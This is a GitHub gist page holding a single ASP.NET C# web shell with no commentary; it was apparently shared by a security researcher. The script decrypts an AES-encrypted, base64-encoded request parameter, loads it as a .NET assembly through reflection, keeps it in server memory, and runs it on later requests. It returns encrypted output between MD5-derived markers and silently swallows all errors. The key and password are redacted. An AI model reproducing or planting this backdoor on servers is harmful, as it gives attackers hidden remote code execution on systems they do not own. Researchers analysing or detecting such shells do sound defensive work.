Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created August 21, 2021 05:55
Show Gist options
  • Save JohnHammond/85ca2f7e94911451c118c36e0d3d77b6 to your computer and use it in GitHub Desktop.
Save JohnHammond/85ca2f7e94911451c118c36e0d3d77b6 to your computer and use it in GitHub Desktop.
<%@ Page Language="C#"%><%try{string key = "REDACTED";string pass = "REDACTED";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Application["payload"] == null){ Context.Application["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Application["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString(); byte[] r = outStream.ToArray();outStream.Dispose(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment